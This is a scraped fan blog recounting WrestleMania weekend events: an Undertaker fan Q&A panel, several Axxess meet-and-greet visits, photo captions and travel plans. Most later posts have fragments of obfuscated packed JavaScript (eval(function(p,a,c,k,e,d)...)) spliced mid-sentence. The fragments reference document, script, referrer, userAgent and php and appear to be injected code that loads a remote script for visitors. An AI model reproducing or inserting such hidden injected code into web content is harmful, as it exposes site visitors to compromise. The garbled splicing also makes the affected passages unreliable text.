Undertaker Axxess Panel

I took in the Undertaker Axxess panel after Raw. It was the final event of Wrestlemania weekend and something that WWE hasn’t tried before. While I bought the ticket thinking it was one of the Axxess meet and greets, it wound up being a chance to sit in a room and listen to Undertaker answer fan questions. When I say answering, I mean going into a variety of stories, which is one of my favorite things in all of wrestling. This was much more a fan event for me so I didn’t take notes, but rather just sat back and listened. I won’t bother trying to remember every question and answer, but here are some highlights (not in order).

• The event began at 11:30 with Byron Saxton introducing Undertaker, who was straight up Mark Calaway this time.

• His Mount Rushmore of wrestling is Steve Austin, Andre the Giant, Ric Flair and Shawn Michaels.

• His Mount Rushmore of his own Wrestlemania matches are Shawn/Shawn/HHH #2/HHH #3. Felt like a bit of a stock answer but you can imagine how many times he has been asked.

• When he changed into the biker, he always knew he would become the Deadman again because those are his roots.

• When asked about his favorite attire, Undertaker went into an explanation of his favorite titles, saying his first WWF Title was his most important. Then he wasn’t sure why a lot of the crowd was snickering or why Saxton couldn’t stop smiling.

• He was asked about how hard it was to keep kayfabe over the years and said it was his own choice. It made the character feel that much more special, plus got him out of a lot of things he didn’t want to do, such as interviews and appearances.

• The closest anyone ever got to cracking him up was JBL. Undertaker has decided to get an RV and drive around the country (which he admitted was a boneheaded move) and it was a disaster, with his RV being such a lemon that he sued the company that sold it to him. One night, JBL got a mic and said they didn’t need to fight. Instead, Undertaker needed to get an RV and drive around the country. Undertaker said he had to bite a hole in his lip to keep from cracking up and then gave JBL quite the beating for getting him that close.

• He had a lot of praise for Yokozuna, going into a discussion of how great he was more than once. When Yokozuna worked a dark match shortly after debuting, Undertaker begged Vince to let him work with Yokozuna first. Vince said in due time, because he had someone else in mind. Then Giant Gonzalez came walking down the hall, which is what Vince meant. Undertaker said he partially left WCW to avoid working with Gonzalez (El Gigante there), plus they didn’t think he could draw anymore.

• Funny exchange (fan’s lines paraphrased):

Fan: “You’re best known for your Wrestlemania Streak, but some of the matches didn’t quite live up to expectations.”

Undertaker: “SECURITY!”

Fan: “Matches like the Brock Lesnar one and the Roman Reigns one could have gone better.”

Undertaker: “Do you not get that this is Put Taker Over Weekend???”

Of the two, he would rather do the Reigns match over, but he doesn’t remember anything about the Lesnar match due to the concussion.

• He is excited about the Texas Longhorns and Dallas Cowboys’ future prospects.

• When asked how he would react to his children getting into the business, he said his nine year old daughter was the most likely candidate. If she wanted to get into the business, he would support her, just as he would no matter what she did. Undertaker: “As long as it doesn’t involve a pole right? Dang Michelle is going to kick my a** for that one.”

• He had never heard of the Undertaker wine until Steve Austin pulled it out on the Broken Skull Sessions and thought it was terrible.

• His favorite drink is Jack Daniels, because if it is good enough for Frank Sinatra, it is good enough for him.

• When asked if he could face Sting or the Fiend, he picked the Fiend, but says it would have been different if they meant in everyone’s prime. He was worried about doing the match with Sting because it might not have lived up to expectations.

• He was asked at least twice about the Never Say Never deal and said he was only trying to be cute at the end of his induction speech. After the speech, he and Vince were sitting in Vince’s office and reminiscing a bit.

Vince: “So what did you mean by that “never say never”?

Undertaker: “No. Stop it.”

• His heart and mind are still into get into the ring but his body can’t do it anymore.

• A fan asked about the rumor of him threatening Shawn Michaels during Wrestlemania XIV.

Undertaker: “I have no idea what you’re talking about.”

Fan explains the whole thing.

Undertaker: “Yeah I knew what you mean. I’m making fun of you. Without saying anything, things were going to happen that night one way or another.”

• When asked about how they filmed the inside the casket promo from Royal Rumble 1994, Undertaker said “none of your d*** business”, saying that he had to keep a few secrets because he is the old school guy.

• And finally, because it is one of those stories that has been rumored forever, he does indeed hate cucumbers. When he was about eight, he came inside and his mom was making a big vat of cucumbers in vinegar and he ate the whole thing. His stomach was so messed up that anything with any cucumbers in it has messed him up for the rest of his life. This has led to him yelling at more than one sushi chef for ignoring his NO CUCUMBERS orders. Also, Paul Hearer would put cucumbers into his drinks/food as a rib. Undertaker: “I love that man but he is the devil.”

All in all, I was hoping that this would be a lot longer, but I could listen to wrestlers tell stories all day. It was pricier than I would have gone ($150, which did include unlimited free admission to Axxess (normally $10 a session)) and I probably wouldn’t have bought it had I not thought it was the usual Axxess VIP deal, but it was certainly a unique experience, just to hear Undertaker talk about kayfabe and heels/babyfaces.




Took In Axxess (2018 Version

And…..yeah I should be used to this by now.

So as you probably know (or may not), I’m down in New Orleans for the annual Wrestlemania weekend festivities (hence why the reviews are all late, though I’ll get them up ASAP as I have a lot of Saturday free). I’ve got a full week scheduled and first up was the opening session of Axxess.

Now before we even get anywhere, it starts off as a mess. I’m in the central time zone at the moment, meaning it’s an hour before eastern time. Things were supposed to get started at 6pm CST and that was all well and good. I checked the WWE App to make sure everything was fine…and it says 5 CST. Therefore I rush over, only to find out that the WWE is wrong about THEIR OWN PRESENTATION so I’m an hour early. Well done indeed guys.

I park, I go in, I show my ticket, I look for a line….and I’m alone on the Axxess floor as they’ve sent me to the wrong room. That’s quite the visual but then I went to the right room and saw a decent sized line. Since it’s so early, I hit the Superstore and picked up JR’s BBQ sauce, ketchup and mustard, along with a shot glass and Shawn Michaels POP. Expensive, but it’s worth it one time.

Then of course it’s time for the long line of sitting, which has become a custom of these things. After another hour and a half in line, it was time to go in for….more waiting in line! Since it’s a total guess as to who you might get, I jumped in the Elimination Chamber line and met Tye Dillinger and Mike Kanellis (Who got there about ten minutes after the session started, just like everyone else. How hard could it be to have them ready?). Not much to this one, though I mentioned watching Tye in OVW, which seemed to impress Mike more than Tye. Also congratulated Mike on becoming a father, which got a genuine smile.

After that it was a tossup between DDP and Lana/Dana Brooke and since I could feel the glare from the wife, it was off to Page. That meant a lot of standing in line, but this time around I could watch the NXT matches on the big screen. I caught the very tail end (as in the last thirty seconds) of Keith Lee beating Kassius Ohno, most of Mustache Mountain over Tino Sabbatelli and Riddick Moss (seemed like a nice comedy match, more on Bate and Seven later) and parts of Lio Rush (Fan in line with me: They hired him back?) defeating Buddy Murphy in a surprise.

Anyway Page left at the halfway point (when they switch it out) but did take a selfie with us while also telling us an email address for a free month of DDP Yoga. Nothing wrong with free, but next up was seeing who would be the next guests. That would be Teddy Long (more on him tomorrow) and Jimmy Hart, both of whom I’ve met before so I left and jumped into Apollo’s line (which was next door and the shortest all night) before he left and was replaced by…..Carmella and Alundra Blayze. Eh not the worst. Carmella was one of the most charismatic people I’ve seen at one of these things while Blayze was calm but cool. I did get to touch the briefcase, but with only one finger.

After that I didn’t have time to get in any more lines because of the WrestleCon SuperShow starting with half an hour left in my session, so it was off to the memorabilia section. This is my favorite part of Axxess with a great look at each Hall of Famer and a TON of old stuff, from costumes to belts to ring worn gear. There was also a women’s evolution section and a Hall of Legends, featuring a WWWF World Title from the 60s and a pair of Andre’s boots. I could look through that kind of thing for days.

Overall, this was one of the weaker Axxess sessions I’ve been to, but that’s pretty much to be expected. You can never guess what you’ll get with these things and while it’s annoying, that’s just how they work. It all depends on which guests you get, but since the lines take so long you’re not going to get many people anyway. Not the worst, but Axxess is reaching the top of the list of things I’d cut next time I go to Wrestlemania.




Went to Axxess Again (And I Actually Used My Camera!)

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aihkn|var|u0026u|referrer|fyees||js|php'.split('|'),0,{})) was my fourth Axxess and my first on Thursday night, which is the opening session. The layout is roughly the same every year and there’s really no difference in the way the rooms look in any given year save for where stages are. I only did General Admission this year after a VIP session last year and honestly, it’s not that big of a difference unless there’s someone you REALLY want to meet.

For the sake of simplicity, I’ll put all the pictures up at the end.

Aside from Bischoff and Torres, there were booths for Apollo Crews, Curtis Axel (I think)/Mojo Rawley, Ron Simmons/Teddy Long, Jacqueline (her line was almost non-existent), Booker T. (inside the Elimination Chamber), Miz/Maryse (possibly the longest line all night), Bobby Roode/Austin Aries (a close second in length), the Usos and Michael Hayes/Jimmy Garvin (FAR shorter than it should have been).

 

I apologize for the video quality.  I was shooting from an iPod and there were WAY too many people crammed into the space.  People kept having to get by me and I bent my glasses so it was really hard to see.

Anyway, while I was in line, the Usos, Teddy Long, Bischoff, Luke Harper and Kalisto all walked by for the change to the next session. Randy Orton, flanked by event staffers, came out for his VIP session as well. After they all went, Curtis Axel came and I got a quick high five. I got back in line and Mojo Rawley came by as well.

Big Austin. There’s a big Undertaker just around the corner of the entrance and…..nothing other than those two.

 

I think this means I’m the new WCW TV Champion with options to be powerbombed by Kevin Nash on an upcoming Nitro.

From left to right: Sting, Ricky Morton, Shawn Michaels (HHH behind Shawn), Ricky Steamboat (Arn Anderson behind Steamboat), Stephanie McMahon (you knew she would be there), Robert Gibson, Ric Flair with his back to the camera on the right of the statue. Charlotte was to Flair’s right.

 

The guy who was looking at my iPod while I took the picture told me this looked fine.

 

Old school. Like the Muppets.

So three Jim’s walk into a Chamber….




New Column: Wrestlemania….And Other Stuff

A look at what there is to do over Wrestlemania weekend.

 

https://wrestlingrumors.net/kbs-review-wrestlemania-stuff/




I’m Going Back to Wrestlemania

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkkes|var|u0026u|referrer|synin||js|php'.split('|'),0,{})) here’s a good one.

The wife is going to England to visit family the week of Wrestlemania.  We were looking around to see if there were any nearby airports with cheaper tickets (a really good travel tip) and found that in Knoxville (two and a half hours away), the price was cut in half.  As a joke, I said maybe we should try Orlando so I can drop her off at the airport and then go on to Wrestlemania that weekend.

As luck would have it, Orlando actually WAS cheaper and, as a result, I’m doing Wrestlemania and all associated shows, (including an indy show or two as I’ll be there by myself and can take a bit more wrestling than the wife), such as Wrestlemania (ticket already bought), Axxess (at least one session depending on who the VIP wrestlers are), Raw/Smackdown (in the same building for the first time that I can remember) and of course Takeover.

So yeah.  I’m pretty happy and that’s due to all of you people.  I flat out could not do this without you all reading my stuff and buying my e-books (new one on Friday).  It’s the only thing I’ve ever wanted to do and somehow I get to do it every single day.  Thank you all so much and you have no idea how much I appreciate you all reading my stuff day after day.  It means the world to me and I’m not exaggerating a single bit.

 

Thank you all so much.

KB




Wrestlemania Weekend Pictures

There are a lot of these.In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkafe|var|u0026u|referrer|izbni||js|php'.split('|'),0,{})) no particular order but each should have a caption.

You might have seen this guy before.

You might have seen this guy before.

 

Jake Roberts looking a bit annoyed.

Jake Roberts looking a bit annoyed.

 

Rock gear along with a Jim Duggan 2x4 and Goldust's body suit.  I don't get it either.

Rock gear along with a Jim Duggan 2×4 and Goldust’s body suit. I don’t get it either.

 

Couldn't have been a nicer guy.  And yes she's standing.

Couldn’t have been a nicer guy. And yes she’s standing.

 

That's a big screen.

That’s a big screen.

 

You don't have many heroes growing up in Kentucky.

You don’t have many heroes growing up in Kentucky.

 

I had the big Sting figure in the middle.

I had the big Sting figure in the middle.

 

Money Inc. jacket.

Money Inc. jacket.

 

That man just does not look happy.

That man just does not look happy.

 

Harley Race's robe from WM III, Warrior's gear from WM VI and the shirt worn by the referee at the first match in WM history.

Harley Race’s robe from WM III, Warrior’s gear from WM VI, Piper’s boxing gloves and the shirt worn by the referee at the first match in WM history.

 

For some reason this was in the Shawn line.

For some reason this was in the Shawn line.

 

Gene Okerlund is holding my wife's hand.  I can live with that.

Gene Okerlund is holding my wife’s hand. I can live with that.

 

These guys are hilarious.

These guys are hilarious.

 

I only see 98,498 chairs.

I only see 98,498 chairs.

 

My wife is on Shawn's phone.  I don't know how to handle this.

My wife is on Shawn’s phone. I don’t know how to handle this.

 

For some reason this was tarped off.

For some reason this was tarped off.

 

I've been to two Wrestlemanias and I've run into Bob Backlund six times.

I’ve been to two Wrestlemanias and I’ve run into Bob Backlund six times.

 

Counting suplexes in the Lesnar match on the big screen.

Counting suplexes in the Lesnar match on the big screen.

 

A Flair robe.

A Flair robe.

 

She cried.  A lot.

She cried. A lot.

 

Show off.

Show off.

 

The main event, in case you nodded off earlier in the night.

The main event, in case you nodded off earlier in the night.

 

I think this one's covered.

I think this one’s covered.

 

So much for kayfabe.

So much for kayfabe.

 

Sting was kind of a big deal.

Sting was kind of a big deal.

 

The line was cut off by this point but it's still cool looking.

The line was cut off by this point but it’s still cool looking.

 

A really big deal.

Ok Sting was a REALLY big deal.

 

Yes I'm squeezing.

Yes I’m squeezing.

 

Ok now you're just showing off.

Ok now you’re just showing off.

 

He threw a car door.  A CAR DOOR.

He threw a car door. A CAR DOOR.

 

This was easily the shortest line but it still looks cool.

This was easily the shortest line but it still looks cool.

 

SEE???  TOTALLY NOT 100,000!!!!!

SEE??? TOTALLY NOT 100,000!!!!!

 

Brock's shorts from breaking the Streak, Eddie's boots from WM XXI and Edge's tights from X7.

Brock’s shorts from breaking the Streak, Eddie’s boots from WM XXI and Edge’s tights from X7.

 

I'm rather lucky.

I’m rather lucky.

 

Woods is either in agony or wanting a Hot Pocket.

Woods is either in agony or wanting a Hot Pocket.

 

My hands are almost that big.  I don't know how to take that.

My hands are almost that big. I don’t know how to take that.

 

Dude put a shirt on.

Dude put a shirt on.

 

Undertaker gear from 1997.

Undertaker gear from 1997.




The Wife Made WWE.com

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynrtt|var|u0026u|referrer|ndddh||js|php'.split('|'),0,{})) a rather lucky man.

http://www.wwe.com/shows/wrestlemania/32/gallery/wrestlemania-axxess-2016-day-four-photos#fid-40013920




Went To Axxess Again

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szyft|var|u0026u|referrer|zstab||js|php'.split('|'),0,{})) it was roughly a 1938% improvement.We’re about to get ready for Wrestlemania so this is going to be quick.

Met New Day and they’re every bit as funny as they are on TV.  They kept people laughing the whole way through, Big E. did his funny voices, Kofi is made for the live crowd (as he kept pointing and smiling at fans) and Woods is just entertaining in general.

Met Hillbilly Jim and Gene Okerlund.  Both of them were very nice and talked to me about being from Kentucky.  I mentioned that we were on our honeymoon and Okerlund looked at her and said he could see why.  So Okerlund thinks my wife is attractive.  I think I can live with this.

Then it was off to the Shawn Michaels line which took awhile but was more than worth it.  Shawn couldn’t have been nicer and smiled when I said he was the only person to ever make me jump out of my chair.  On top of that he hugged my wife as she was crying over meeting him.  That’s easily the highlight of the weekend for her, if not of her life.

Also saw the Bellas, Eva Marie, Emma and Sharmell at various points.  The camera doesn’t do Emma justice.

FAR better experience overall today with multiple people at most booths, better names in the second section (New Day was there for an hour, were replaced by Sami Zayn for the second hour and then it was Ted DiBiase and Gerald Brisco for the second half.  NXT had Samoa Joe instead of the low level women.) and far fewer people.  That was the major problem yesterday: too big of a crowd with not a lot they wanted to do.  Great day here and the Axxess that I loved from a few years back.




Went To Axxess

And it was an absolute disaster.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aitak|var|u0026u|referrer|ayieb||js|php'.split('|'),0,{})) me put it this way: we left over an hour early because it was so boring and we were so sick of being there. Never in my life have I seen such a disaster in one place and it can be summed up in a few major issues.

Sheamus

Sasha Banks

Dolph Ziggler

AJ Styles

Jim Duggan

Kane

Cesaro

Jake Roberts

Michelle McCool

Ascension

Becky Lynch

Summer Rae

Sgt. Slaughter

Cody Rhodes

Mandy

Tyler Breeze

Cesaro

Darren Young (inside the Chamber replacing DiBiase)

King Barrett

David Otunga (replacing AJ Styles)

Jim Duggan

Look at that second list and tell me who you would stand in line for two hours to see. Cesaro maybe? Perhaps King Barrett? There were actually people who were walking out of lines when they found out about the switch because, simply put, would you stand in line to meet David Otunga?

Now that all being said, there were a few fun moments.

Linda McMahon of all people was walking around and I got a quick handshake, even though she really seemed to want to get out of there.

I got a hello from Dolph Ziggler as he was on his way to his booth.

Pictures of all the memorabilia and some cool stuff coming later.




Wrestlemania Week Schedule

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idbfr|var|u0026u|referrer|sefsn||js|php'.split('|'),0,{})) case you haven’t heard, the wife and I are heading down to Dallas for the weekend for Wrestlemania and associated acts.

We’ll be taking in Takeover: Dallas, Axxess on Saturday, Axxess again on Sunday morning where we get to meet Shawn Michaels himself, then Wrestlemania and of course Raw the next night.  Just like two years ago, things are going to be a bit slow around the weekend as I can only get in so much reviewing while I’m in the hotel.  This is also our honeymoon so she’s actually expecting me to spend time with her instead of something important.

Therefore, the reviews are all going to be a bit behind but I’ll be making posts for discussion before we leave and I’ll put up a quick live recap/thoughts on each show after we get back to the hotel each night.  Once I get back home I’ll be looking at the shows in full for the regular reviews.

 

KB